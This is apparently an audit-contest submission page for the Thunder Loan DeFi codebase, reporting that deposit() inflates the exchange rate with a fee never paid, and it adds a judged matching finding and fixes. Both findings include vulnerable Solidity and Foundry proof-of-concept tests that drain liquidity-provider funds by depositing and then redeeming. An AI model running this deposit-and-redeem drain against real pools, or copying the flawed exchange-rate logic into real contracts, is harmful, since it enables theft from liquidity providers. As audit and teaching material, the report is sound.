Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Deposits create unbacked yield and allow theft of existing LP liquidity

Root + Impact

Description

deposit() instead treats every deposit as though it generated a flash-loan fee. It increases the exchange rate using a calculated fee that was never transferred into the pool. As a result, newly minted AssetTokens become worth more than the deposited assets, allowing a depositor to redeem more tokens than they supplied. The surplus is taken from existing LP liquidity.// Root cause in the codebase with @> marks to highlight the relevant section.

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
@> assetToken.updateExchangeRate(calculatedFee); // Increases LP claim without receiving a fee.
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
function updateExchangeRate(uint256 fee) external onlyThunderLoan {
@> uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();
s_exchangeRate = newExchangeRate;
}

Risk

Likelihood:

  • Every sufficiently large deposit into a pool with existing LP liquidity triggers an exchange-rate increase despite no fee entering the pool.

  • An attacker only needs the underlying token and approval to call the public deposit() and redeem() functions.

Impact:

  • A depositor can immediately redeem more underlying tokens than they deposited.

  • Existing LPs bear the loss, and repeated deposits/redemptions can progressively drain their liquidity.


Proof of Concept

Assume a supported 18-decimal token priced at 1 WETH and a 0.3% protocol fee.

  1. An LP deposits 1,000 tokens:

    • Pool balance: 1,000

    • AssetToken supply: 1,000

  2. An attacker deposits 1,000 tokens:

    • The attacker receives 1,000 AssetTokens at the pre-deposit 1:1 exchange rate.

    • getCalculatedFee(1,000) returns 3 tokens.

    • updateExchangeRate(3) changes the rate to:

newRate = 1 * (2,000 + 3) / 2,000
= 1.0015
  1. The pool only received the attacker’s 1,000 deposited tokens:

    • Pool balance: 2,000

    • Total AssetToken claims: 2,000 * 1.0015 = 2,003

  2. The attacker immediately redeems 1,000 AssetTokens:

amountOut = 1,000 * 1.0015
= 1,001.5 tokens

The attacker profits 1.5 tokens while the original LP’s remaining claim is undercollateralized by the same amount.


poc with code Below

// Existing LP supplies liquidity.
function testDepositCreatesUnbackedYieldAndStealsFromExistingLp() public setAllowedToken {
uint256 lpDeposit = 1_000e18;
uint256 attackerDeposit = 1_000e18;
tokenA.mint(liquidityProvider, lpDeposit);
vm.startPrank(liquidityProvider);
tokenA.approve(address(thunderLoan), lpDeposit);
thunderLoan.deposit(tokenA, lpDeposit);
vm.stopPrank();
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
// Attacker deposits, which incorrectly increases the exchange rate
// despite the pool receiving no flash-loan fee.
tokenA.mint(user, attackerDeposit);
vm.startPrank(user);
tokenA.approve(address(thunderLoan), attackerDeposit);
uint256 attackerBalanceBefore = tokenA.balanceOf(user);
thunderLoan.deposit(tokenA, attackerDeposit);
uint256 attackerAssetTokenBalance = assetToken.balanceOf(user);
thunderLoan.redeem(tokenA, attackerAssetTokenBalance);
uint256 attackerBalanceAfter = tokenA.balanceOf(user);
vm.stopPrank();
// Attacker withdrew more than their deposit.
assertGt(attackerBalanceAfter, attackerBalanceBefore);
// The profit was taken from the original LP's liquidity.
assertLt(tokenA.balanceOf(address(assetToken)), lpDeposit);
}

Recommended Mitigation

Do not update the exchange rate during deposits. Update it only after a flash loan has successfully repaid an actual fee.

A safer design is to calculate the exchange rate from actual pool assets:

exchangeRate = underlying.balanceOf(address(assetToken)) * EXCHANGE_RATE_PRECISION / assetToken.totalSupply();

Alternatively, after confirming flash-loan repayment, increase the exchange rate based on the actual received fee—not a quoted fee—and never call updateExchangeRate() from deposit().

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!